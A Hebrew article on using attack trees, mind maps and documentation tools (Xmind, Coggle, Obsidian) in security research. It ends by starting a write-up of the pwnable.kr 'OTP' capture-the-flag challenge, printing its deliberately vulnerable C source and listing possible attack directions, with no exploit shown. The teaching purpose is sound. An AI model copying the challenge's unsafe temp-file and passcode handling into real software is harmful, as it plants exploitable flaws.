2. לשמור תמיד על המטרה הזאת, ללא מטרה אנחנו נוכל להמשיך לפעול ואולי אפילו להתקדם לכיוון מסוים שנראה חיובי, אבל בעולם האמיתי נהיה חסומים מנטלית: לא נוכל לחשוב על רעיונות חדשים שנוכל להוסיף/לשנות כי איבדנו את הסיבה שלשמה התחלנו את העבודה.

הרבה בתחום יזרקו בשלב הזה מילים כמו עץ תקיפה, וזאת באמת ההגדרה הכי נכונה לדרך הפעולה של מיפוי עבור מטרה. כך אנחנו יכולים למפות כל מחשבה וכל אפשרות שתוכל לקדם אותנו, אך זה קונספט קריטי בכל התחומים בחיים. כדי למקסם יכולת מסוימת אצלינו, צריך להבין את המטרה עד הסוף, ועד שלא נבין אותה עד הסוף, ונגדיר אותה בצורה הכי מפורטת ומדויקת, לא נגיע לתוצאות הכי טובות שיכולנו להגיע אליהן.

לכן, לאחר הפתיחה הארוכה, במאמר הזה ובבאים לו אני אכנס לעומק לתוך ה-"למה", ה-"איך" וה-"מה". אתחיל מהסבר על עצי תקיפה, מה זה אומר ומה הסוגים השונים, שימוש פרקטי.

אמשיך לכלים ושיטות אחרות שניתן להשתמש בהן, ודברים אחרים שחשוב לחשוב עליהם בזמן נתון בפרויקט, חוץ משלושת הנקודות שציינתי לפני כן. לאחר מכן אעזר בידע על הכלים ודרכי הפעולה כדי לעזור לבנות תהליך עבודה נכון ויעיל ככל הניתן אצל מי שיקרא את המאמרים.

אז מה הבעיה?

כשאנחנו נתקעים בבעיה כלשהי בחיים בדרך כלל ננסה להפעיל הגיון בריא, שיקול דעת ותעדוף בסיסי על החלטות שנוכל לעשות, וחלק מהפעמים הבעיה באמת פשוטה מספיק כדי שהגישה הזאת תעבוד.

אבל במקום שבו יש לנו בעיה מורכבת עם הרבה מאוד אפשרויות, בין אם זה לצורך החלטת חיוב/שלילה ובין אם זה לצורך מציאת כל פתרון אפשרי, המצב משתנה לחלוטין:

1. יש הרבה מאוד פרמטרים, הרבה יותר מדי פרמטרים כדי שבן אדם רגיל יוכל להתייחס אליהם בקבלת החלטות

2. מתוך אותם פרמטרים יש חלק ניכר שאנחנו לא מודעים אליו, פרמטרים שנוכל להבין ולהשיג רק דרך מחקר ממוקד

3. גם אם אנחנו מבינים את כל הפרמטרים האלו ואיכשהו בדרך קסומה יכולים לשים את כולם בתת מודע, לקבל החלטה אופטימלית יהיה בלתי אפשרי בגלל כמות האפשרויות, יתרונות וחסרונות של כל אפשרות, ולמצוא את התערובת המושלמת עקב כל השיקולים לא יוכל לקרות

אוקיי, אז מה אפשר לעשות במקום זה?

לאחר שמבינים את העובדה שלעבוד freestyle לא יגיע לתוצאה הכי טובה ברוב הבעיות המורכבות שניגש אליהן - צריך למצוא פתרון אחר שיתן לנו פלטפורמה לבצע את התכנון הזה, לשקלל את כל הפרמטרים השונים של הבעיה, לגלות מידע חדש ולפעול בצורה מיושבת וממוקדת לפתרון הבעיה.

לפני שאכנס לפתרונות האפשריים, אני מרגיש צורך לציין כמה דברים:

- למרות שדרך חשיבה טקטית ומסודרת תעזור לטפל בבעיה בצורה יעילה יותר, היא עדיין לא פתרון מושלם - בעיות מורכבות טכנולוגיות/לא טכנולוגיות נחשבות מורכבות בגלל הקושי להגיע לפיתרון כלשהו, זו הסיבה לכך שיש חוקרים שעובדים חודשים על אותו פרויקט בצורה הכי מסודרת שיש ועדיין לא מצליחים לפתור אותו
- גם אחרי מציאת פתרון/פתרונות אפשריים יש עוד נקודות שיכולות לפסול רעיונות טובים - כמה הרעיון התיאורטי הזה אפשרי במציאות, מה התהליך שצריך לעשות כדי להגיע למצב שבו הפתרון יהיה שמיש, ובהרבה סיטואציות פתרון אחד כזה לא יהיה התשובה ויהיה צורך בשרשרת פתרונות שתתחבר ביחד לתשובה אחת אולטימטיבית
- זמן. פרויקט לרוב מוגדר בכמות זמן או מאמץ שרוצים להשקיע עליו. אם זה משהו מבצעי שהאפקטיביות קבועה בכמה מהר מביאים פתרון עובד, אם זה חלק ספציפי בפרויקט שהלקוחות בו חייבים כדי להמשיך את העבודה. בהמשך אתייחס ספציפית לנקודה הזאת ואסביר איך מחליטים בצורה הרמטית איזה משימות עדיפות, כמה זמן לעבוד על כל חלק, ובכללי תהליך עבודה נכון ואופטימלי כמה שיותר ביחס למשימה מוגבלת במשאבים וזמן

מפות מחשבה - הדרך ל-"איך"

עצי תקיפה (attack trees) / עצי מחשבה (mind trees) הם מודלים גרפיים המשמשים לתיאור צעדים אפשריים לתקיפה של מערכת או מטרה מסוימת. הם עוזרים לזהות נקודות תורפה פוטנציאליות ולתכנן מנגנוני הגנה יעילים יותר, לפרוס בעיה שצריכה פתרון כדי לפתור אותה בצורה יותר ממוקדת או פשוט לחשוב נכון לוגית.

עץ התקיפה הבסיסי בנוי בצורת עץ, כאשר השורש מייצג את המטרה הסופית של התוקף (למשל, השגת גישה למערכת מסוימת או גניבת מידע). הענפים מייצגים את השלבים השונים שניתן לנקוט כדי להשיג את המטרה, והעלים מייצגים את הפעולות הבסיסיות ביותר הנדרשות לביצוע התקיפה.

יש הרבה מאוד סוגים של עצי תקיפה/מחשבה, אך לא את כולם צריך לדעת עבור שימוש פרקטי במקצוע.

1. מפת עץ:

בדרך כלל נשתמש במפות המחשבה לפרויקטים גדולים עם מטרה ברורה אבל מורכבת וקשה להסבר, לדוגמא פיתוח כלי לחיפוש חניות פנויות בתל אביב.

העץ מתחיל משורש שהוא המשימה הגדולה לביצוע, וממשיך לפירוק קטן יותר ויותר של המשימה. ככל שנפרק את המשימה בקפיצות יותר קטנות כך נוכל לוודא שאנחנו לא מפספסים מסלול מחשבה מסוים.

לרוב השלב הראשון לאחר השורש של העץ יצריך הכי הרבה מחקר כי הוא דורש הבנה של המרכיבים הכי גדולים לשלב הבא בפרויקט, וככל שנכנסים לכל רכיב בדרך כלל השאלה "מה השלב הבא" יהיה יותר ויותר ספציפי, עם יותר מידע מתאים באינטרנט.

בסוף נגיע למשימות נקודתיות שנוכל לבצע מבלי לחשוב הרבה, אני אוהב לחשוב על זה בתור משימות שאני אוכל לבצע על 3 שעות שינה עם הלפטופ באוטובוס בדרך לעבודה בבוקר ביום הכי חם באוגוסט שהמזגן מקולקל, העץ האופטימלי יביא לנו משימות שכוללות כמות פעולות חד ספרתיות שאנחנו לרוב יודעים לעשות/נצטרך מחקר מינימלי.

זה במיוחד מועיל במצבים של פרויקט עם מטרה גדולה שצריך לפתור, גם בפיתוח וגם במחקר.

מצד שני, יש מצבים שבהם יתאימו לנו יותר מפות מחשבה לא מכוונות מטרה.

2. מפת זרימה:

אחרי מפות עץ הייתי אומר שאלו המפות שהשתמשתי בהם הכי הרבה בתפקיד, והם עזרו לי הרבה להגיע לפתרונות יצירתיים שלא דווקא התבססו סביב מטרה כללית, אלא סביב זרימת מערכת מסוימת.

בדברים כמו מחקר, זה נחמד לחשוב על מפת עץ כשהמטרה הסופית שלנו היא משהו כמו "למצוא RCE באנדרואיד". לרוב גם אם נפרק את הרכיב שאנחנו חוקרים ונחפש את כל האפשרויות להגיע לתוצאה הזאת:

א. לא נעבור על כל האפשרויות, בהרבה בעיות טכנולוגיות יכולות להיות קרוב לאינסוף דרכים אפשריות להגיע למטרה מסוימת ולפעמים בתפקיד לעבור על כולם, במיוחד שהמשימה מוגבל בזמן, זה לא אפשרי

ב. להסתכל מזווית אחרת על הבעיה יעזור לנו להעלות רעיונות אחרים שיותר alligned לאותה צורת חשיבה. אנשים חושבים שונה, וכמובן שלחלק מהאנשים צורות חשיבה ספציפיות יבואו יותר טבעי מאחרות, אבל לכן הרבה פעמים עבודה בצוות מביאה לתוצאות שאי אפשר להשיג לבד - וכדי לעשות את התהליך כמה שיותר

אפקטיבי יהיה עדיף לנו לנסות להשתמש בכל דרכי החשיבה המתאימות לטובתנו. דוגמא מעולה לתרגל את הדרך הזאת היא אתגרים נקודתיים כמו pwnable. אתגרים יותר קטנים מבחינת כמות הקוד אבל עדיין מסובכים ומצריכים חשיבה יצירתית על כיוונים חדשים עושים פלאים בסוג המפה הזאת.

3. מפת דיאלוג:

בתור מישהו חדש בתחום, יש קושי רב בשימוש אפקטיבי בדעות ומידע כללי שחברי צוות, מנהלים או כל גורם אחר בסביבת העבודה יביא לנו. בנוסף הבטחון שלך יכול להיות נמוך בגלל שעדיין לא השגת הישג משמעותי מקצועית שיוכל להעניק לך תחושת הבנה מסוימת של התחום. לכן, בעיקר בשיחות עם ראשי צוות על בעיה טכנולוגית כלשהי, יש הרגשה שצריך להתייחס לכל משפט שהוא אומר בתור פקודה בלתי מעורערת ולא בתור דעה פשוטה - הרי יש לו שנים של ידע טכנולוגי עליך והוא התמודד עם בעיות הרבה יותר גדולות עוד מלפני שנולדת.

יש בגישה הזו 2 בעיות מרכזיות :

1. יש הרבה תחומים, תת תחומים ונישות ספציפיות בתוכנה ואבטחת מידע, לכן האדם עם הידע והניסיון לא יהיה בהכרח האדם שצודק, אלא האדם עם הקונטקסט על הבעיה הטכנולוגית

2. כדי שתהיה בן אדם שעובד לבד על חלק מפרויקט משמעותי, ראש הצוות ושאר ההנהלה שלך ירצו שיהיה אפשר לסמוך עליך. אם התשובה לכל בעיה היא ללכת לפי מה שהמנהל אומר בדיוק בלי יוצא דופן, כשתבוא בעיה טכנולוגית קצת שונה המתלמד יהפוך לגולם, כי הוא אף פעם לא ניסה לחשוב על צורת המחשבה שאותו מנהל חשב בה.

לכן, במיוחד בשלב הזה יש צורך קריטי לא רק להקשיב למנהל, אלא גם להבין את צורת המחשבה שלו, איך הוא הגיע לפתרון הזה ולאחרים, כדי לתפוס ממנו דפוס מחשבה דינאמי שנוכל לייעל גם לבעיות אחרות, ולכך עץ דיאלוג יכול לעזור.

בעזרת העץ הזה ניתן למפות שיחות, דעות של אנשים שונים בנוגע לאותה בעיה טכנולוגית ולהתחיל לראות - האמירה של מי מבוססת יותר? האם האמירה רלוונטית לבעיה הזאת? האם יש הגבלות שנוגדות את האמירה? האם לאחר העברת הקונטקסט שלי על הפרויקט הדעה של כולם תשתנה?

צורת עבודה זו פותחת אפשרות לדבר על צורת המחשבה ודרך הפתרון של בעיות טכנולוגיות ולא טכנולוגיות, ותוכל לעזור לבנות בסיס הרבה יותר טוב להמשך הדרך בתחום.

4. מפת עכביש:

מפה דומה מאוד לראשונה, רק במטרה שונה. מפת עכביש באה לעזור לנו לדבר וללמוד על נושא ספציפי, בעוד שמפת עץ באה לעזור לנו לחשוב על בעיה ולפרק אותה לגורמים ומשימות פתירות.

השימוש והפירוק לענפים קטנים מאוד דומה, אך במפה הזאת קו המחשבה שלנו צריך להיות "איזה קונספטים חשוב ורלוונטי לדעת על הנושא הזה", "איזה פיצ'רים ויכולות נרצה שיהיה לכלי מסוים". יכול להיות שימושי בעיקר בלמידה של נושא חדש ובכך מילוי דינאמי של המפה או כדי להציג מוצר / קונספט מוגמר ולהמחיש את המורכבות וההתפצלות של כל היכולות שלו.

5. מפת בועה כפולה

מהשם אפשר להבין את המטרה של המפה הזאת - השוואת שני נושאים בדיבייט על איזה בחירה צריך לבצע. המפה הזאת שימושית במיוחד להשוואה בין פרמטרים שונים וקבלת החלטה שבפועל יש לה 2 אפשרויות.

המפה עוזרת להשוות גורמים שונים ולהגיע לבחירה יותר מבוססת באותו נושא.

אז באיזו מפה צריך להשתמש?

בכולם.

לכל אחד תהיה צורת חשיבה שתהיה יותר מתאימה ונוחה לו, אך יהיו גם כאלו שלא יעזרו לו להתקדם.

הסוד פה מתרכז בעיקר בגיוון, כי יש הרבה דרכים להסתכל על בעיה טכנולוגית/לא טכנולוגית מסובכת, ולשנות בין נקודות מבט שונות יכול לגלות לנו מידע חדש שיעזור לנו בסך הכל להתקרב לפתרון הבעיה.

קל לחשוב על זה כמו פתרון סודוקו, לפעמים תסתכל על כל השורות האופקיות ותחפש מה אתה יכול בוודאות לסמן, אחרי זה שלא יהיה לך עוד רמזים תעבור להסתכל על שורות אנכיות, אחרי זה אולי תעבור להסתכל על קוביה 3x3 ספציפית ואז שתחזור להסתכל על השורות האופקיות תראה שהצלחת להתקדם ולמצוא עוד מספרים שלא הצלחת לפני כן ושהצלחת להשיג מידע שיעזור לך למצוא עוד מספרים בשיטת השורות האופקיות, מה שיעזור לשיטות האחרות, שיעזרו לשיטה הזאת...

לכן כשאני עובד אני אנסה תמיד:

1. לשנות צורות חשיבה - לעבור בין מפות חשיבה שונות לפי הנושא, להגיע למסקנות וכשאני מרגיש שאני לא מתקדם יותר אעבור לשיטה אחרת ואתרגם את הידע שהשגתי מהשיטה הקודמת לשיטה הזאת

2. אנסה לגוון גם בצורת הגרף, בין אם צורות הענפים, צבעים, הדגשות שונות, ניסוחים. כל אלו דברים שיכולים לעזור לכל בן אדם לקלוט מידע בצורה טובה יותר/פחות טובה. לכן לשחק עם הפרמטרים האלו יוכל להוביל לעבודה יותר יעילה על הבעיה

למי שמעוניין לקרוא על עוד מפות מחשבה מועילות, צירפתי מאמר מעולה שהתייחסתי אליו במאמר שלי, הוא מתאר עוד מפות חשיבה שנובעות מאלו שציינתי, גם שינויים קטנים יכולים להיות מועילים בשטח.

שימוש פרקטי בעצים

אישית, במחשב האישי שלי יש כנראה כבר מספר דו ספרתי של "עצי תקיפה" שפיתחתי לעצמי ועזרו לי **בכל** התחומים שאכפת לי מהם בחיים.

העץ הראשון שיצרתי לעצמי הוא אוסף של שיטות שלמדתי פעם מאיזה קורס באינטרנט שטען שהוא יכול לעזור לזכור דברים בצורה הכי איכותית וקלה שיש. בפועל - לא הסכמתי בתקופה ההיא עם חלק ממה שהקורס תיאר, אבל בכל מקרה בניתי לי עץ תקיפה והשתמשתי בו בכל פעם שהיה לי קשה לזכור/לשנן מידע, או אפילו לשמור כמה שיותר טוב לאורך כמה שיותר זמן מידע חדש שלאחרונה קראתי/למדתי. העץ כלל בעיקר שיטות מבוססות רגש כדי לאחסן מידע במוח לכמה שיותר זמן וכדי להוציא ממידע נתון כמה שיותר ערך. המטרה המרכזית שלו הייתה ליצור אלגוריתם שיעזור לי לזכור בצורה הכי אופטימלית נושא נתון בעזרת אותן שיטות, ויביא תשואה של מקסימום זמן זכרון עם כמה שיותר חדות של המידע.

Abstract

A growing body of evidence suggests emotion boosts memory accuracy to an extent but affects the subjective sense of recollection even more. The result is vivid memories for emotional events that are held with confidence but that may be surprisingly inaccurate in their details. We examine the neural circuitry underlying emotion's impact on memory and the subjective sense of recollection to provide insight into this puzzling phenomenon. This research suggests that for emotional stimuli the *quality* and strength of memory for a few details may mediate judgments of recollection, whereas for neutral stimuli the *quantity* of contextual details may be more important. Finally, we speculate that the enhanced subjective sense of recollection with emotion, in the absence of absolute veridicality, may have evolved to enable fast and unambiguous decision making in emotional situations.

Keywords: memory, emotion, amygdala, recollection, hippocampus

לאחר עבודה על מספר עצים יש כמה כלים, טיפים ודוגמאות מעניינות לציון בנושא של עבודה עם עצים.

חשיבות התיעוד

יש אנשים שיאמרו אחרת ממני, אבל אני חושב שתיעוד מסודר הוא אחד מהכלים הכי חזקים שיכולים להיות למישהו שעובד בתחום, בין אם הוא עובד לבד ובין אם הוא עובד עם צוות.

לתיעוד מועיל ומספק ויזואלית יכולים להיות את כל היתרונות שיש ליצירת עץ מסודר ואפילו יותר:

1. הסתכלות על הבעיה הטכנולוגית מזוויות שונות
2. הצורך לסכם, לנסח ולהסביר נושא מקצועי ברמת התיעוד יכול להעלות מחדש כל צעד לוגי שעשיתי ובעזרת זה מתגלות הרבה טעויות, פספוסים ואפילו מדי פעם חולשות שלא חשבו עליהם לפני כן
3. בין אם לשמור קונטקסט על הפרויקט עבור אדם אחר שיעבוד עליו או עבורינו לאחר חופשה ארוכה, תיעוד טוב יעזור לשמור קונטקסט חזק עבור האדם הבא שיעבוד בפרויקט וככה זה יחסוך הרבה זמן שהיה מתבזבז להבנת המערכת
4. שוכחים. העבודה דורשת כמות קונטקסט רחבה מאוד במיוחד שעובדים על מערכת גדולה ולכן בקלות מאוד שוכחים **הרבה מאוד** דברים אם לא כותבים\שומרים אותם איפשהו

סך הכל, תיעוד יעזור לנו ולסביבה שלנו לבצע תהליך של "איך" הכי יעיל, חלק ומהיר שאפשר והזמן הזה ש-"מבזבזים" עליו בסוף יאיץ את העבודה פי כמה וכמה.

אז איך מתעדים?

מאוד תלוי בבן אדם ובבעיה. בנוסף למפות מחשבה שמהוות חלק משמעותי מתיעוד של הבעיה יש צורך בתיעוד הידע ההכרחי להבין את הבעיה.

- מפות מחשבה: בעיקר מתעדים את ה-flow של המערכת, את הרעיונות השונים מבחינת לידים לחולשות ואת צורת המחשבה שבה פעלנו להגיע לאותו ענף כדי לפתוח אפשרות למצוא ענפים חדשים. בעצים נעדיף לכתוב מקסימום משפט שמתאר את הכיוון, כי עם יותר מדי מילים העץ יהפוך להיות overwhelming, ולרוב אם צריך יותר מדי מילים כדי לתאר את הכיוון היה אפשר לפצל יותר טוב את אותו ענף.
- תיעוד נוסף הכרחי עבור פריסת הידע המקצועי שחשוב לבעיה, או להפך, תיעוד המערכת הרלוונטית לפי מחקר שלה שנעשה לעומק. אפשר לחשוב על זה כמו על תיעוד רגיל של פרויקט ב-confluence או תוכנה אחרת – תיעוד כניסת התוכנה, ה-main flows, פרמטרים שניתן להעביר, רכיבים שונים ותוכנות שונות שהתוכנה משתמת בהם. כאן נתאר לעומק יותר כל רכיב וחלק במערכת בצורה ממוקדת למה שמשמעותי למטרת המחקר שלנו.
- מטרה נוספת של תיעוד נוסף היא להכנס לעומק על כל כיוון שעובדים עליו ולתעדף את אותם כיוונים. זה דברים שמסובך ומבולגן מאוד לעשות בעץ רגיל אבל יכול לעזור לתעד רעיונות, סיבות למה כיוונים שונים ירדו בחשיבות \ ירדו לגמרי, לנמק יותר לעומק ואולי אפילו אחרי זה לעבור על זה ולמצוא טעות בתהליך העבודה.

אני אוהב להשתמש באותם ענפים תחתונים מהעץ ולעשות קופי-פייסט שלהם לתיעוד, להוסיף הסבר על הגדרת הבעיה, כמה יהיה קל להשמיש אותה, כמה מחקר נוסף צריך, כמה אפקט יהיה לה ביחס למטרה הסופית של הפרויקט ולפי הפרמטרים האלו לתעדף.

כלי עזר לתיעוד מחשבות וכיוונים

Xmind - אפליקציה פשוטה, מהירה ונוחה ליצירת מפות חשיבה, ומתאימה במיוחד לשימוש אישי. אם אתה לא צריך שיתוף פעולה בזמן אמת עם אחרים, האפליקציה מציעה חוויית שימוש חלקה וממוקדת בלי התוספות המורכבות של כלים שיתופיים אחרים. היא זמינה כאפליקציה מקומית (ולא רק מבוססת דפדפן), ומתאימה לכל מערכות ההפעלה Windows, macOS, iOS, Android – ואפילו – Linux כך שאם חשוב לך לעבוד באותו כלי על מכשירים שונים, זה יתרון גדול. מפת החשיבה עצמה נראית נהדר – עם סגנון מעט ידני אבל מקצועי, שמתאים גם לעבודה וגם לשימוש אישי. לאחרונה נוספו ל Xmind-גם פיצ'רים לשיתוף פעולה, כולל תכניות לעסקים וארגונים עם תמיכה בהיסטוריית גרסאות, אבל עדיין יש כלים טובים יותר לצוותים שעובדים יחד באופן רציף. בנוסף, יש גרסת אינטרנט עם בינה מלאכותית – Xmind AI – שמיועדת לסיעור מוחות משותף, וכוללת תקופת ניסיון חינמית ותשלום חודשי של 7.99 דולר. האפליקציה מאוד קלה לשימוש ומודרנית במראה, השימוש בה מאוד חלק ומאוד מספק למי שאוהב מאוד סדר.

Coggle - אם אתה מחפש כלי פשוט, נגיש וחינמי למפות חשיבה – זה כנראה אחד הפתרונות הטובים ביותר. גם מי שלא התנסה בעבר ביצירת מפות חשיבה יוכל להתחיל בקלות, הודות לממשק אינטואיטיבי ותמיכה בקיצורי מקלדת נוחים. למרות שהכל עובד דרך הדפדפן בלבד, החוויה חלקה ומהירה, ויש גם אפשרות לשיתוף פעולה – כולל עבודה משותפת על המפה, הודעות בצד, ומצב מצגת לתמונה כללית.

התכנית החינמית נדיבה במיוחד: שלוש מפות פרטיות ללא הגבלה בזמן, ואפשרות ליצור עוד ועוד מפות חדשות כל עוד שומרים את הישנות כ PDF-או תמונה. כך שמי שמשתמש בכלי מדי פעם בלבד יכול להסתפק בגרסה החינמית בלי להרגיש מוגבל. העיצוב של הממשק מעט מיושן, אבל לא מפריע לתפקוד – ואפילו כולל תמיכה ב-Markdown להוספת עיצוב, קישורים ותמונות בצורה אלגנטית.

למי שמחפש פתרון פשוט, אפקטיבי וזול במיוחד (או חינמי), זה כלי ש"פוגע בול". אם אתה משתמש כבד או מחפש ממשק מודרני יותר, אולי כדאי לשקול גם אלטרנטיבות אחרות. הגרסה בתשלום עולה $5 לחודש או $50 לשנה וכוללת תוספות כמו עיצוב מתקדם וצורות נוספות.

Obsidian - כלי תיעוד אישי חזק וגמיש, שנבנה סביב קבצי טקסט פשוטים בפורמט Markdown, בכלי הקבצים נשמרים מקומית על המחשב שלך (אלא אם תבחר לסנכרן), מה שהופך את הכלי למהיר, אמין ובשליטת המשתמש. כל "פתק" או מסמך שאתה יוצר הוא קובץ עצמאי, וניתן לקשר בין קבצים באמצעות סימון פשוט של [[שם הקובץ]], מה שהופך את אובסידיאן לכלי שמרגיש כמו רשת של מחשבות וידע – לא רק אוסף מסמכים.

המונח המרכזי בתוכנה הוא vault - תיקייה המכילה את כל הקבצים של הפרויקט. בתוך הכספת, אתה כותב פתקים שיכולים להיות מאורגנים לפי תיקיות, תגיות או קישורים פנימיים. אחד מהכוחות הגדולים של התוכנה הוא יכולת הקישור בין פתקים: כשאתה מקשר בין פתקים, אתה יוצר ביניהם קשר רעיוני, ועם הזמן אתה בונה רשת של ידע, מעין ויקי אישי. בנוסף, יש עשרות תוספים (plugins) שמרחיבים את היכולות, כולל ניהול משימות, יומן, תרשימים וניתן בקלות מאוד גם לכתוב ולהוסיף custom plugins לשימוש הרגיל באפליקציה.

תיעוד ב-obsidian

כדי לתעד בצורה אפקטיבית ב-obsidian, כדאי להקפיד על מבנה אחיד לפתקים – למשל כותרת ברורה, תאריך, קישורים רלוונטיים, ותוכן מתומצת וממוקד. מומלץ להשתמש גם בתגיות (כמו #Steps:...), בקישורים פנימיים כדי לקשר בין מושגים, פרויקטים, אנשים ועוד. דרך העבודה הזו עוזרת לתעד פרויקט בצורה הגיונית לוגית שמאפשרת לגלות קשרים חדשים בין נושאים עם הזמן ולפתח את ההבנה בעזרת סדר, במיוחד בעזרת תצוגת הגרף.

לשם כך הכנתי דוגמא מפרויקט שאני עבדתי עליו בו רציתי לתעדף כמה מהכיוונים שהיו לי כמו שתיארתי לפני כן בחלק על התיעוד. כאן השתמשתי בפורמט מאוד פשוט:

- תיקייה לכל חשיבות של כיוון עם שם אינדיקטיבי
- בתוך כל תיקיה יש note שמתאר אותו, למה הוא בחשיבות שהוא נמצא בה
- לכל חשיבות יש קובץ עם אותו השם של התיקייה שעוזר לקשר את החלקים לחשיבות שלהם ואת כל החשיבויות לפרויקט הכללי כמו שניתן לראות בעץ. בקובץ אני אוסיף [[note_name]] עבור כל כיוון חדש
- אם יש כיוונים שמתקשרים אחד לשני אני אוסיף [[note_name]] אצל כל אחד מהם לשני, מה שיצור חץ דו-כיווני
- יצרתי לבסוף קובץ כללי Planning.md בתיקייה הגדולה שעושה reference באותה צורה לכל קובץ של החשיבויות השונות וגם לקובץ README שמסביר כמה דברים נוספים

כדי להגיע לפיצר שמופיע בצד צריך ללחוץ על השלוש נקודות בצד ימין, ללחוץ על open linked view ואז ללחוץ על open local graph. מכאן אפשר ללחוץ על הקובץ הרלוונטי בראש העץ (אצלי זה ה-note של planning) ולראות את כל העץ. היופי באובסידיאן, חוץ מהפיצרים והאסטטיות זה המודולריות של כל מה שאתה עושה, ואפילו בעץ יש לך אפשרות לשלוט על כל הפרמטרים השונים – מכמות העומק שנכנסים אליה, המרחק של כל קבוצת sub-nodes מהמרכז, אפשר לגרור כל יחידה ומה שקשור אליה.

תוספים ב-obsidian

בנוסף ל-local graph ולפיצרים האחרים שעוזרים עם תיעוד נכון ומובן ויצירת מפות מחשבה, יש עוד כמה נקודות ספציפיות ל-obsidian שיכולות לעזור ביצירת מפות מחשבה בשונה מאפליקציות אחרות.

אחת מהיכולות היעילות שמבדילות את obsidian מפתרונות אחרים בשוק הם מערכת ה-plugins שכוללת פיצרים נוספים שנכתבו על ידי המפתחים\תורמי קוד כוללת community plugins שאלו קטעי קוד שימושיים שאנשים מהקהילה כתבו כדי להוסיף דברים שימושיים לאפליקציה הקיימת.

יש אינסוף פלאגינים כאלו ויש גם את האפשרות לכתוב אותם ידנית עבור פיצרים ספציפיים ולכן לא אכנס לכל התוספים, לכן אקשר למטה את הדוגמאות הבאות ובנוסף לכך מדריך לכתיבה עצמאית:

א. FileTree alternative - מעניק לאובסידיאן סייר-קבצים גמיש יותר: הוא מפריד בין תיקיות לקבצים, מוסיף ספירות, חיפוש, אייקונים ויכולות "focus" על תיקיה נבחרת – כך שהניווט ב־ Vault גדול נעשה מהיר ומסודר

ב. DataView - הופך את כלל ההערות שלך ל-database, באמצעות שפת שאילתות ניתן למשוך metadata מה-Markdown ולהציג רשימות, טבלאות או לוחות משימות שמתעדכנים אוטומטית, אוטומציה ודיווח מתקדם בתוך המחברת עצמה

ג. Kanban – משפחה של תוספים. תוספי Kanban לאובסידיאן מוסיפים לוחות משימות בסגנון Trello - עמודות גרור-ושחרר עם כרטיסים שמייצגים משימות בכל תיקייה. הם נוחים לניהול פרויקטים בצורה חזותית, רואים מה יש "לביצוע", "בתהליך" ו-"בוצע" במבט אחד ומעדכנים בתנועת עכבר

אז מה עדיף?

כל אחד בתחום יאמר משהו אחר לגבי האפליקציות המועדפות עליו, ואלו חלק מהאפליקציות שאני עושה בהם שימוש בעבודה שלי (Obsidian לתיעוד ועצים, Xmind לעצים), אבל בפועל יש עוד הרבה הרבה יותר אפליקציות וכל אחד צריך למצוא את האחת שיותר נוחה לו (למרות שאין הרבה פרמטרים חוץ מנראות של העץ ופונקציונליות בסיסית ששונים בין אפליקציה לאפליקציה שישנו באמת בשטח). אקשר למטה גם מאמר שמדבר על אפליקציות לתיעוד ויצירת עצים.

דוגמא מהחיים האמיתיים – OTP:

אחד מהאתגרים המחקריים הראשונים שפתרתי ב-"צורה הנכונה" היה האתגר OTP מהאתר pwnable.kr. בניגוד לאתגרים אחרים שכללו בעיות עם חלקים יותר מורכבים מהמערכת, קוד יותר "עמוק" ואתגר יותר מאתגר טכנולוגית, האתגר הזה כולל מעט מאוד קוד בלי איזשהו קאצ' מיוחד ויש סיכוי סביר שחלק עם יותר ניסיון, היכרות עם המערכת או מזל מצאו את הפתרון ישר בלי איזשהי חשיבה מיוחדת. אישית – מרגיש לי שכל אתגר טכנולוגי שאני עושה הייתי מעדיף לעשות בצורה הכי איכותית ונכונה שאפשר, כי ארצה להבין למה עשיתי מה שעשיתי ולא סתם לנחש, ארצה ללמוד דרכי מחשבה חדשות ולממש אותם פרקטית באתגר ולהגיע למצב שגם בצורת המחשבה וגם בידע מקצועי אני אדע יותר ממה שידעתי בהתחלה, ועוד אזכור את זה.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
        char fname[128];
        unsigned long long otp[2];

        if(argc!=2){
                printf("usage : ./otp [passcode]\n");
                return 0;
        }

        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1) exit(-1);

        if(read(fd, otp, 16)!=16) exit(-1);
        close(fd);

        sprintf(fname, "/tmp/%llu", otp[0]);
        FILE* fp = fopen(fname, "w");
        if(fp==NULL){ exit(-1); }
        fwrite(&otp[1], 8, 1, fp);
        fclose(fp);

        printf("OTP generated.\n");

        unsigned long long passcode=0;
        FILE* fp2 = fopen(fname, "r");
        if(fp2==NULL){ exit(-1); }
        fread(&passcode, 8, 1, fp2);
        fclose(fp2);

        if(strtoul(argv[1], 0, 16) == passcode){
                printf("Congratz!\n");
```

```
                system("/bin/cat flag");
        }
        else{
                printf("OTP mismatch\n");
        }

        unlink(fname);
        return 0;
}
```

Summarized code:

- Reads 16 bytes from /dev/urandom that generates random data
- Uses first 8 bytes as name for temp file in /tmp/{val}
- Writes second 8 bytes into file, closes file
- Opens file again for reading , reads 8 bytes
- Checks if argv[1] == value read from file

כמו שהסיכום של הקוד מתאר, הקוד:

- קורא 16 בתים מתוך /dev/urandom
- משתמש ב-8 בתים הראשונים לשם של קובץ בתוך /tmp וכותב את ה-8 בתים הבאים לתוך הקובץ
- לאחר סגירת הקובץ התוכנה פותחת אותו שוב וקוראת את ה-8 בתים
- אם הפרמטר שנתנו לתוכנה שווה לפרמטר שמופיע בקובץ ניצחנו 😊

מן הסתם הבעיה פה היא שהערך שנקרא הוא רנדומלי – קריאה מ-/dev/urandom יוצר מידע רנדומלי. לכאורה – מעט מאוד פעולות קורות פה ואין באמת משהו בעייתי, שזאת בדיוק הבעיה: **אין משהו בעייתי שנראה לעין,** אין קצה חוט לפעולה לא בסדר שקורית פה או דרך ישירה להשפיע על המערכת בצורה חיובית עבורינו.

זה פותח אותנו לאינסוף כיוונים מרכזיים, שאנחנו נכנסים למערכת שאנחנו לא לגמרי מכירים עם משטח מוגבל:

- הרשאות
- הגבלות של התוכנה
- שימוש בתוכנות אחרות
- מציאת חולשת זכרון
- מציאת חולשה לוגית
- התקפות תזמון

ועוד, ועוד, ועוד...

לכן כבר בתחילת המשימה התחלתי ממפת עץ פשוטה שמטרתה הייתה למפות את כל הרעיונות שלי לגבי האתגר. בזמן העבודה על האתגר בגרף הבא שנדבר עליו היו לי הרבה רעיונות שעלו לראש וכולם בסופו של דבר הסתיימו בכשלון, אבל החשיבות של המאמר היא על התהליך ולא על התוצאה, אז חשוב להסתכל בזום-אאוט על כל התהליך שנעשה פה מההתחלה ועד ההחלטה לשנות כיוון וגישה.

איך מתחילים?

